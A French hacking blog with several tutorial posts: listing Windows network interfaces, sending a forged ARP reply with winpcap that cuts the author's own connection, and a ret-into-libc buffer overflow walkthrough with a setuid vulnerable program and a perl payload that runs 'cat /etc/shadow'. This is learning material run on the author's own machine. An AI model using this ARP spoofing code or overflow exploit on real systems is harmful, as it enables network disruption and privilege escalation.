mercredi 3 mars 2010

Analyse de winpcap - Partie I

Hello les gens,

Lors de mon dernier poste traitant de la lib winpcap et de ses fonctionnalités, j'avais parlé, en conclusion, d'analyser son fonctionnement. Effectivement, j'étais resté perplexe et me posais une question.

En effet, il faut savoir que Microsoft restreint l'usage des "Raw Socket", où nous sommes en mesure de forger nos propres paquets. On m'a conseillé d'abandonner, et je me suis rendu compte que j'avais bien fait de désobéir ! >:)

Pour ceux qui veulent des infos sur les Raw Socket avec WinSock : http://msdn.microsoft.com/en-us/library/ms740548%28VS.85%29.aspx. Vous comprendrez plus ou moins que si vous voulez balancer un paquet ARP, vous pouvez allez vous faire foutre. Au moins, ça a le mérite d'être clair.

Mais, quand il s'agit de winpcap, on peut faire ce qu'on veut. Etrange, non ? Alors je me suis mis en tête d'analyser ça. La question : "Comment ça fonctionne ?". Question brève pour une réponse qui va se scinder en probablement plusieurs postes.

Dans ce premier poste, j'irai tout en douceur. On n'apprendra pas à balancer / sniffer des paquets, mais juste à récupérer la liste des interfaces réseau (c'est déjà bien pour commencer, non ?)

/!\ Les tests sont menés, ici, sous un windows XP SP3. Il se peut que ça marche sur la série XP, mais je ne garantie rien quant à Vista / Seven et encore moins sous les versions antérieures !

Les interfaces réseau



Sous Windows, on peut avoir une ou plusieurs interfaces réseau. Votre carte ethernet en est une, aussi bien que votre carte Wifi. J'ai même une clé USB Wifi reconnue en tant qu'interface réseau. Il se peut aussi que les machines virtuelles engendrent la création d'interfaces réseau exploitables ; je ne me suis pas penché sur ce genre de chose, mais certains reversers doivent avoir la réponse. ;)

Pour récupérer cette liste d'interfaces réseau, il faut aller chercher dans la base de registre à ce chemin : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Dans cette clé figurent des sous-clés ayant pour non 0000, puis 0001, puis 0002, ... A croire qu'on prévoit 10000 noms d'interfaces réseau.

Dans ces sous-clé se trouvent une clé nommée "Linkage", et, enfin, dans cette clé "Linkage" se trouve une valeur de type REG_MULTI_SZ - constante signifiant "plusieurs chaînes terminées par un octet nul", d'où le "SZ" - String Zero - qui correspond au chemin de notre interface réseau.

L'objectif du moment sera d'afficher chacune de ces interfaces. Grâce à l'API Win32 et à sa panoplie de fonctions RegMachiChouette(), ça doit pas être bien dur ! :)

Quelques fonctions utiles :
RegOpenKeyEx() : Permet d'ouvrir une clé existante : http://msdn.microsoft.com/en-us/library/ms724897(VS.85).aspx ;
RegQueryValueEx() : Permet de récupérer la valeur d'une clé. http://msdn.microsoft.com/en-us/library/ms724911(VS.85).aspx ;
CreateFile() : Permet de déterminer si une interface réseau est accessible (un bon indice pour la suite ! :]) : http://msdn.microsoft.com/en-us/library/aa363858%28VS.85%29.aspx.

Ok, on aura nos interfaces, mais il faudrait aussi la description de chacune d'elles.
Et bien j'ai tout de même trouvé, dans la clé SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards, des sous-clé ayant pour un un numéro sans les 0 devant, cette fois. Mais ce sont les mêmes numéros que nos interfaces réseau de HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}, donc il nous sera facile de faire le lien !

Maintenant, on se tait et on code.

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

#define KEY_IF_RESEAUX "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
#define KEY_DESC_RESEAUX "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards"

int main(int argc, char **argv) {

// Des handle de clefs
HKEY hKey, hCurrentKey, hDescKey;

// Variables
char* currentPathKey, *currentDescKey;

// Numéro de l'interface sous chaîne de caractères
char currentNumber[5];

// compteur de l'interface
int cpt = 0;

// Handle sur l'interface qui va nous permettre de savoir si on peut l'ouvrir ou pas
HANDLE hDevice;

// Variable dont on se sert pour connaître les octets retournés par une fonction
LONG dwBytesReturned;

// Tampons
char buffer[1024];
char devName[1024];
char desc[1024];

// Première étape : ouverture de la clé en question
LONG Status = RegOpenKeyEx( HKEY_LOCAL_MACHINE, KEY_IF_RESEAUX, 0, KEY_ALL_ACCESS, &hKey );
if(Status == ERROR_SUCCESS) {

// On la ferme puisqu'on n'en a plus besoin
RegCloseKey(hKey);

// Les sous-clé s'appellent toutes 0000, 0001, ... Donc il va falloir les parcourir.
// strlen("\\0000\\Linkage") + '\0' = 14

sprintf(currentNumber,"%04d", cpt);

// On prépare le chemin de la clé dans le registre
currentPathKey = (char*)malloc(strlen(KEY_IF_RESEAUX) + 14);
strcpy(currentPathKey, KEY_IF_RESEAUX);
strcat(currentPathKey, "\\");
strcat(currentPathKey, currentNumber);
strcat(currentPathKey, "\\Linkage");

// On ouvre cette clé
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentPathKey, 0, KEY_ALL_ACCESS, &hCurrentKey);

// Tant qu'on arrive à ouvrir la clé...
while(Status == ERROR_SUCCESS) {

// La valeur "Export" nous intéresse.
Status = RegQueryValueEx(hCurrentKey, "Export", NULL, NULL, (BYTE*)buffer, (DWORD*)&dwBytesReturned);

// Si on a réussit à lire la valeur, on l'affiche
if(Status == ERROR_SUCCESS) {
// On teste si l'interface est accessible
sprintf(devName, "\\\\.\\Global\\%s", &buffer[8]);
hDevice = CreateFile(devName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, 0);
if(hDevice != INVALID_HANDLE_VALUE) {

// On essaie de récupérer la description de cette carte
sprintf(currentNumber, "%d", atoi(currentNumber)+1);
//printf("%s %s\n", buffer, currentNumber);
// strlen("\\xxxx") + '\0' = 6
currentDescKey = (char*)malloc(strlen(KEY_DESC_RESEAUX) + 6);
strcpy(currentDescKey, KEY_DESC_RESEAUX);
strcat(currentDescKey, "\\");
strcat(currentDescKey, currentNumber);

// On ouvre la clef de la description
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentDescKey, 0, KEY_ALL_ACCESS, &hDescKey);
if(Status == ERROR_SUCCESS) {

// "Description" nous intéresse
Status = RegQueryValueEx(hDescKey, "Description", NULL, NULL, (BYTE*)desc, (DWORD*)&dwBytesReturned);
if(Status == ERROR_SUCCESS) {
printf("%s %s\n", buffer, desc);
RegCloseKey(hDescKey);
}
}
free(currentDescKey);
CloseHandle(hDevice);
}
}

ZeroMemory(currentPathKey, strlen(KEY_IF_RESEAUX) + 14);

// On prépare le chemin de la clé suivante
sprintf(currentNumber,"%04d", ++cpt);

strcpy(currentPathKey, KEY_IF_RESEAUX);
strcat(currentPathKey, "\\");
strcat(currentPathKey, currentNumber);
strcat(currentPathKey, "\\Linkage");

// On la relit.
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, currentPathKey, 0, KEY_ALL_ACCESS, &hCurrentKey);

}

// On libère tout le tralala & on se casse
free(currentPathKey);
RegCloseKey(hCurrentKey);

}

return EXIT_SUCCESS;
}

Pour la source clean, c'est par ici : http://venom630.free.fr/geo/blog/reverse_pcap/part1/getInterfacesReseau.html. Le gros cadeau, c'est qu'il faille simplement compiler un seul fichier ! Pas de lib à linker ni rien.

Le résultat que j'obtiens :

C:\Documents and Settings\Geoffrey\Mes documents\c>getInterfacesReseau.exe
\Device\{8EEB3BBC-655E-4E05-A2DD-92A5325081A6} Belkin Wireless G Plus MIMO USB Network Adapter
\Device\{F9415153-9262-4C55-B0A4-D9D3B9911CB7} Realtek PCIe FE Family Controller


Pour récupérer les adresses IPs, j'ai pas cherché plus loin. Mais ça ne nous gênera pas pour la suite.

Et j'ai pas testé sur d'autres postes, donc je ne vous garantie rien. Mais alors rien du tout.

Conclusion



Certes, l'article a été très court, mais c'était pour vous montrer un aperçu. Là, on saura quelles interfaces emmerder pour pouvoir balancer nos paquets. Et n'importe quel paquet, de surcroit.

Geo

mercredi 24 février 2010

Joujou avec winpcap

Salut salut,

On va essayer de reprendre un rythme "normal", c'est-à-dire poster de temps en temps, et des posts intéressants de surcroit.

Ces temps-ci, j'ai peu de temps pour m'attarder sur un sujet bien précis. Donc on va parler vite fait de la lib winpcap et on va jouer un peu avec. Le site officiel du projet se trouve à l'adresse http://www.winpcap.org. Vous pouvez télécharger plusieurs trucs intéressants :


Décompressez les deux archives dans deux endroits distincts. Dans la première archive - c'est-à-dire celle contenant les fichiers pour développer - vous avez les fichiers d'en-tête à utiliser (les ".h" donc) et les fichiers lib à lier lors de la compilation + édition de lien.

Première étape : lister les interfaces disponibles (pour le fun)



Votre ordinateur possède ce qu'on appelle des interfaces réseau. Si vous avez WireShark ou un logiciel de capture de trames réseau, vous pouvez les connaître facilement. Un screenshot de mon résultat :

Nom de mes interfaces réseau


Y'en a une, je sais pas trop à quoi elle sert. Les deux autres sont, respectivement, ma clé USB Wifi et ma carte ethernet. Ma carte Wifi est morte, pour les curieux. Triste affaire.

Mais ici, on a le label, et on n'a pas spécifiquement besoin de ces informations-là. On cherche, en fait, le chemin du pilote ou adaptateur, il commence par "\Device\...".

La lib winpcap fournit une panoplie de fonctions pour gérer les packets sans se prendre la tête. En fait, à la base, je voulais tripper avec les raw sockets et protocole ARP mais on peut aller se faire douiller bien profond quand on tourne sous Windows XP. L'autre solution est d'aller sur Linux en mode root, mais je voulais trouver un moyen sous Windows quitte à plonger dans le noyau s'il le fallait. (Pour info, y'a l'article trip in da tcp/ip d'Ivanlef0u qui vaut vraiment le coup d'œil)

La fonction qui va nous permettre de récupérer les interfaces n'est autre que PacketGetAdapterNames(). Son prototype est le suivant :

#include "Packet32.h"

BOOLEAN PacketGetAdapterNames(PTSTR pStr,PULONG BufferSize);


Comme on l'aura compris, le premier argument est un pointeur vers une mémoire tampon destinée à recevoir une série de chaînes de type "PTSTR", donc pas forcément une chaîne se terminant par un null-byte.

En fait, la chaîne de sortie sera de la forme suivante :
[Chemin Interface 1][null-byte][Chemin Interface 2][null-byte][Chemin Interface 3][null-byte]...[Chemin Interface n][null-byte][null-byte][Libellé Interface 1][null-byte][Libellé Interface 2][null-byte][Libellé Interface 3][null-byte]...[Libellé Interface n][null-byte]

Pour récupérer l'information intéressante, c'est-à-dire le "chemin" de l'interface, de chaque interface réseau, il faudra boucler jusqu'à ce qu'on tombe sur deux null-bytes qui se suivent.

Enfin, le second argument, passé en entrée / sortie, correspond à la taille maximale de notre mémoire tampon passée en 1er argument, et aura en sortie la taille totale des données intéressantes.

Le code C ci-dessous énumère la liste des interfaces réseau.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // Nombre max d'adaptateurs réseaux

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// Affichage de chaque interface
for(i = 0; i < k; i++) {
printf("%s\n", devices[i]);
}
return 0;
}

La source propre est colorée est disponible ici : http://venom630.free.fr/geo/blog/pcap/src1.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_1.rar.

Important : linkez bien le fichier Packet.lib à votre projet.

Voici le résultat que j'obtiens :

C:\[...]\c\interfaces_reseau_1\bin\Release>interfaces_reseau_1.exe
\Device\NPF_GenericDialupAdapter
\Device\NPF_{B7BB8F94-E39E-4619-BF36-A2D487560777}
\Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}


C'est déjà un bon début, dira-t-on. Maintenant, on va essayer de forger une trame à la con et la balancer sur le réseau.

Seconde étape : envoyer des packets



Pour la suite de l'article, j'utiliserai l'interface de ma clé USB Wifi, à savoir \Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}.

Pour envoyer des paquets forgés à la main avec Winpcap, il faut d'abord ouvrir l'interface via la fonction PacketOpenAdapter(), qui possède le prototype suivant :
LPADAPTER PacketOpenAdapter(PCHAR AdapterName);

La fonction prend en argument un pointeur vers le nom de notre adaptateur réseau que nous souhaitons ouvrir, et renvoie un pointeur sur une structure de type ADAPTER. On n'a pas à se soucier réellement du contenu de cette structure, et sa définition se trouve dans la documentation de Packet32.c (lien disponible en fin d'article).

Une fois notre interface ouverte, on va pouvoir s'occuper de forger un packet. Les packets, avec winpcap, sont gérés via la structure PACKET. (idem, définition disponible dans la documentation).


Pour initialiser une structure PACKET, on utilise la fonction PacketAllocatePacket() qui retourne un pointeur sur ce type de structure (elle est donc allouée dans le tas au sein de la fonction). Sa signature, tout bêtement :

LPPACKET PacketAllocatePacket(void);


Ensuite, nous allons initialiser notre packet avec une mémoire tampon correspondant, tout bonnement, aux données de notre packet. La fonction PacketInitPacket se charge de ça. Signature :

VOID PacketInitPacket(LPPACKET lpPacket,PVOID Buffer,UINT Length);


En premier argument, on fournit un pointeur sur notre structure de type PACKET. En second argument, on a les données du paquet, donc le datagramme en dur, quoi ; et en dernier argument, la taille du "Buffer" puisqu'on ne soumet pas une chaîne terminée par un octet null, mais bien un tableau de CHAR (même si Buffer est de type "PVOID", cela n'empêche rien).

Enfin, on balance notre paquet à l'interface via la fonction PacketSendPacket(). Sa signature est la suivante :

BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET pPacket,BOOLEAN Sync);


Les premiers et second arguments représentent, respectivement, un pointeur sur notre interface réseau et un pointeur sur notre packet. Le dernier argument ne nous intéresse pas, puisqu'il est généralement pris en compte dans les versions antérieures de Windows. On mettra donc TRUE.

Et pour libérer les ressources, on a PacketFreePacket() et PacketCloseAdapter(), qui ont pour prototype :

VOID PacketFreePacket(LPPACKET lpPacket);

VOID PacketCloseAdapter(LPADAPTER lpAdapter);


On a tous les éléments. On va donc faire un petit programme qui balance une réponse ARP frauduleuse à en couper la connexion. (C'est vilain, je sais)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // A changer si besoin

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// On va ouvrir notre interface
LPADAPTER lpAdapter = NULL;
lpAdapter = PacketOpenAdapter(devices[2]); // /!\ Changer 2 par l'index de votre interface
if(lpAdapter == NULL) {
printf("Error while opening the adapter. Aborting.\n");
exit(EXIT_FAILURE);
}

// Création d'un packet facilement
LPPACKET myPacket = PacketAllocatePacket();
if(myPacket == NULL) {
printf("Error while initializing the packet. Aborting.\n");
exit(EXIT_FAILURE);
}


// Construction d'une réponse ARP frauduleuse
char buff[] =
"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\x00\x12\x34\x56\x78\x9a" // Adresse MAC Source (n'importe quoi)
"\x08\x06" // "Protocole ARP"
"\x00\x01" // Hardware type = Ethernet
"\x08\x00" // Protocol type = IP
"\x06" // Hardware size = 6 (une adresse MAC fait 6 octets)
"\x04" // Protocol size = 4 (une adresse ipv4 fait 4 octets)
"\x00\x02" // On envoie une réponse

"\x00\x12\x34\x56\x78\x9a" // Adesse MAC de l'envoyeur (n'importe quoi)
"\xc0\xa8\x01\x01" // Adresse IP de l'envoyeur (on fout n'importe quoi, ici, 192.168.1.1)

"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\xc0\xa8\x01\x0d" // Adresse IP Destination (ici, moi : 192.168.1.3)
;

int buffLen = 42;

// On initialise notre paquet
PacketInitPacket(myPacket, buff, buffLen);

// On fait une boucle à l'infini et on le balance.
for(i = 0; i < 10; i++) {
PacketSendPacket(lpAdapter, myPacket,TRUE);
printf(".\n");
// Important si vous ne voulez pas avoir de souci. ;)
Sleep(1000);
}

// On libère les ressources
PacketFreePacket(myPacket);

// On ferme l'adaptateur
PacketCloseAdapter(lpAdapter);

return 0;
}


Source propre ici : http://venom630.free.fr/geo/blog/pcap/src2.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_2.rar. Toutefois, vous n'aurez peut-être pas le résultat désiré, mais une chose est sûre, les trames circuleront bien sur votre 3ème interface (si vous en avez au moins 3...).

Lorsque je lance le programme, ma connexion se coupe, et j'obtiens ça sur WireShark :

Aperçu des trames balancées manuellement sur WireShark (cliquez pour agrandir)


Et voici la tronche de mon cache arp :
C:\Documents and Settings\Geoffrey>arp -a

Interface : 192.168.1.3 --- 0x10004
Adresse Internet Adresse physique Type
192.168.1.1 00-12-34-56-78-9a dynamique


J'ai très peu de chances d'accéder à Internet avec cette connerie.

Conclusion


Envoyer des trames sur le réseau s'avère, grâce à la lib winpcap, relativement facile. On peut forger nos paquets à la main et les envoyer sans se soucier de ce qui se passe derrière, bien que ça m'intéresse en fait.

A ce que j'ai vu, autant côté sources que côté exécution, c'est que, lors d'un envoi de paquet, on passe par WriteFile() et DeviceIoControl() pour envoyer un paquet. Ca devient intéressant. Peut-être ferai-je une analyse de tout ça, qui sait ?

Autre truc qui peut être marrant : encapsulet la lib Packet en C++ de sorte à ne pas se prendre la tête lors de l'extraction du nom des interfaces réseau. Si quelqu'un a déjà fait ça, qu'il m'en fasse part par commentaire.

Références



Doc de Packet32.c : http://dog.tele.jp/winpcap/html/Packet32_8c.html

Site officiel de WireShark : http://www.wireshark.org/

Sniffer TCP with Raw Sockets, bon article de lilxam

Tutoriel : Man In The Middle par Heurs

Geo

samedi 6 février 2010

Retour à l'improviste

Hello,

Je sais pas si y'en a qui se souviennent, mais j'avais arrêté ce blog. Deux bonnes raisons de le reprendre et de laisser le wordpress aux oubliettes :

- quelqu'un m'a cassé les burnes avec une faille et avait réussi à dumper la base de données : ça venait pas de wordpress, mais de l'hébergement lui-même, pourri ;
- je me rends compte qu'avec le recul, je suis plus à l'aise sur ce blog.

Pour ceux qui s'inquiétaient - s'ils existent - ben désolé, quoi. On va pas sortir les violons, j'ai réimporté un article sur le ret into libcn, mais pour les commentaires, j'y suis pas arrivé (il faut dire que j'ai pas vraiment cherché non plus).

En gros, un aimable collaborateur, à qui j'avais promis une correction de l'article que je n'ai pas faite, m'a dit :

Je ne suis pas d'accord pour els schema de stack. Celon moi,

-> Avant overflow :

Haut de pile
+------------+
| EIP |
+------------+
| dest |
+------------+
Bas de pile

L'ors d'une ecriture, les adresses "remontent", donc, si l'on place "azerty" dans un stack, on auras
+------------+
| 00yt +
+------------+
| reza |
+------------+

D'ou,
-> Apres overflow :
Haut de pile
+------------+
| EXIT |
+------------+
| *commande |
+------------+
| SYSTEM |
+------------+
|dest(=aaa..)|
+------------+
Bas de pile


Pour ce qui est de l'adresse de la variable d'environnement, on peut constater qu'elle varie selon la longueur de av[0] :) (A vrais dire, l'environnement est un gros tas de char* coller les un aux autres, et *av[0] vient se placer juste au dessus de av[ac-1], lui même au dessus de av[ac-2] .... av[0].

Bref, pour l'adresse exacte, le calcule serais :
addr = getenv()
addr -= strlen(av[0])
addr -= ac * 4
addr += strlen(av[0])_du_programme_vulnerable
addr += ac_du_programme_vulnerable * 4

En espérant ne pas avoir dis de bêtises ^^


Pas eu le temps de vérifier. Une journée dure 24 heures...

Ah, et pour ceux qui veulent que je les lie dans la "blog roll", laissez un commentaire ou mailez-moi, je le ferai dès que possible.

Encore désolé, et c'est reparti pour un tour.

Geo

[Réimport] Ret into libc : théorie & pratique

Yosh,


Je profite de ces vacances pour publier un article sur un sujet quelconque ; celui-ci est d'ailleurs connu, puisque des camarades tels que Ghosts In The Stack et kmkz ont rédigé leur propre version.


Je précise au passage que, afin de mener à bien l'objectif que je présenterai dans l'article, j'ai eu besoin de désactiver deux sécurités : la "randomisation" des adresses mémoires, qui consiste à les rendre aléatoire à chaque exécution d'un programme donc de rendre difficile l'exploitation d'un débordement de tampon ; et la protection de la pile, lorsque gcc met en place un "canary" pour détecter les débordements. Effectivement, je suis sous un noyau 2.6.28-16-generic donc plutôt récent.


Qu'est-ce que la libc ? : Il s'agit de la bibliothèque - et je jette des pierres à ceux qui disent toujours librairie... - standard, sous linux, qui va regrouper les fonctions les plus couramment utilisées : printf(), exit(), ...


Et donc, un ret into libc, c'est...? Il s'agit d'une variante des buffer overflows, consistant à écraser EIP par une adresse correspondant à une fonction dans la libc ; d'où le nom de l'attaque.


L'idée est de faire pointer EIP, à l'épilogue de la fonction appelée, sur l'adresse system() pour qu'elle soit appelée et exécute notre commande. Notre commande, bien évidemment, correspond à un argument qui devra être déposé sur la pile. Dans mon cas, vous me trouverez peut-être incompétent, mais je n'ai pas réussi à exécuter /bin/sh. Mais rassurez-vous, un "cat /etc/shadow" a réussit, donc on va dire que ça revient au même...


Première étape : le programme vulnérable + suppression des protections de l'OS



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *buff);

int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

printf("Copie en cours...\n");
copy(argv[1]);
printf("Termine !\n");
return EXIT_SUCCESS;
}

void copy(char *buff) {
char dest[50];
strcpy(dest, buff);
}


Vous remarquerez l'inutilité du programme ; néanmoins, il y a un appel vers strcpy qui ira stocker dans un tampon de 50 octets ce que nous lui soumettons. Si on soumet plus de 50 octets, ben, ça déborde !


geo@kleromy:~/bof/vuln1$ gcc -o vuln vuln.c -fno-stack-protector
geo@kleromy:~/bof/vuln1$ ./vuln
Utilisation : ./vuln
geo@kleromy:~/bof/vuln1$ ./vuln aaaaaaaaaaaaa
Copie en cours...
Termine !
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 58'`
Copie en cours...
Erreur de segmentation
geo@kleromy:~/bof/vuln1$

Au passage, on en profite pour enlever la randomisation de la pile :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# echo 0 > /proc/sys/kernel/randomize_va_space
root@kleromy:~/bof/vuln1# cat /proc/sys/kernel/randomize_va_space
0
root@kleromy:~/bof/vuln1# exit
exit
geo@kleromy:~/bof/vuln1$

Et, tant qu'à faire, faire en sorte que notre programme appartienne à root ET qu'il s'exécute avec les droits de root :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# chown root ./vuln
root@kleromy:~/bof/vuln1# chmod +s ./vuln
root@kleromy:~/bof/vuln1# exit
exit

Maintenant, on peut commencer à préparer l'attaque puisque nous sommes dans notre cas fictif.


Seconde étape : récupérer l'adresse de l'argument de system()


Soit "cat /etc/shadow" notre chaine qu'on passera à system(). Nous allons en faire une variable d'environnement via la commande export :


geo@kleromy:~/bof/vuln1$ export commande="cat /etc/shadow"
geo@kleromy:~/bof/vuln1$

Et on va récupérer son adresse grâce au superbe outil de kmkz (par contre, l'ami, tu m'excuseras, mais je me suis permis de corriger ton programme, bien qu'il ne soit pas encore totalement efficace...) :



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf( " **Veuillez utiliser un ARGUMENT !!** \n");
return(0);
}

char *addr;
addr = (char *) getenv(argv[1]);

if (addr != NULL)
printf("** %s se situe à l'adresse %p **,\n",addr, addr + strlen(argv[1]) );
return(0);
}

On compile, et on exécute :


geo@kleromy:~/bof/vuln1$ ./src_bin-sh
** Veuillez utiliser un ARGUMENT !!**
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /etc/shadow se situe a l'adresse 0xbffffe55 **


Cette adresse, chez moi, est PRESQUE bonne. Donc pas totalement, mais tant qu'on a une adresse qui s'en rapproche, c'est pas plus mal !


On a l'adresse de notre argument, maintenant, on va chercher les adresse des fonctions que nous voudrons utiliser : system() et exit() - pour terminer le programme proprement.


Troisième étape : adresses de system et exit


Cette étape est relativement simple à mettre en oeuvre ; effectivement, on n'a qu'à utiliser gdb pour déboguer notre programme vuln. Si on place un breakpoint à un endroit du programme, on pourra en profiter pour récupérer les adresses des fonctions de la libc, puisqu'elles ont été chargées en mémoire.


Voici comment procéder :


geo@kleromy:~/bof/vuln1$ gdb ./vuln
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /home/geo/bof/vuln1/vuln


Breakpoint 1, 0x08048472 in main ()
Current language: auto; currently asm
(gdb) x system
0xb7ea68b0 : 0x890cec83
(gdb) x exit
0xb7e9bb30 : 0x57e58955
(gdb) q
The program is running. Exit anyway? (y or n) n
Not confirmed.
(gdb)


Maintenant, nous avons toutes les informations pour exploiter notre ret into libc. Il ne me reste plus qu'à vous expliquer comment ça se passe.


Lorsque vous appelez en C, par exemple, la fonction printf() de la sorte : system("echo bonjour"); ; en assembleur, le code ressemblera à :


push offset LaChaineQuiContientCoucou ; offset de la chaîne contenant coucou
call printf ; appel de la fonction

Seulement voilà, comme vous le savez (je le suppose), lorsque la routine appelle une fonction, elle va empiler l'adresse de l'instruction suivante afin de revenir à la routine appelante. La pile aura donc cette tronche :


        Haut de pile
| |
+---------------------------+
| sauvegarde EIP |
+---------------------------+
| LaChaineQuiContientCoucou |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
Bas de pile

La fonction printf() ira donc chercher ses arguments qui se trouveront en-dessous de la sauvegarde !


Pour system(), c'est pareil. Elle ira chercher son argument en-dessous de la sauvegarde d'EIP. Sauf que, voilà : dans notre attaque, notre sauvegarde d'EIP sera factice. On la remplacera par exit(), et donc, lorsque system() aura fini sa routine, pendant l'épilogue, elle dépilera l'adresse d'exit() dans EIP, et notre programme se terminera.


En résumé, voici l'état que la pile doit avoir lors de notre attaque :


        Haut de pile
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... | // L'écrasement
+---------------------------------------+
| system() -> sauvegarde EIP |
+---------------------------------------+
| exit() -> sauvegarde EIP 2 |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Effectivement, j'ai parlé de "sauvegarde EIP 2", car la fonction system() est programmée de sorte à ce qu'on l'appelle en ayant empilé la sauvegarde d'EIP. Et donc, lorsque notre débordement de tampon aura réussi et que la fonction system() sera appelée, la pile ressemblera à ça :


          Haut de pile
| |
+---------------------------------------+
| exit() -> sauvegarde EIP faux |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Et la fonction ira chercher l'argument en-dessous de la fausse sauvegarde d'EIP, et dépilera cette fameuse sauvegarde d'EIP dans le registre du même nom... Ce qui quittera notre programme.


J'espère avoir été clair !


Maintenant, on exploite, tout bonnement, avec les adresses mémoires récupérées. Schéma d'attaque :
[ax54] [adresse system] [adresse exit] [adresse "cat /etc/shadow"]


geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x55\xfe\xff\xbf"'`
Copie en cours...
sh: /etc/shadow: Permission denied

Bon, c'est déjà ça : on n'a pas d'"Erreur de segmentation". Mais là, on nous dit que le fait d'exécuter /etc/shadow entraîne un refus d'accès. Le "cat " n'a pas été pris, c'est ça que je trouve bizarre puisqu'on a, normalement, récupéré la bonne adresse de notre chaine....


Pas de panique : ajoutez 4 - l'équivalent de la longueur de "cat " - à 0x55 pour obtenir 0x59. Et, là...


eo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
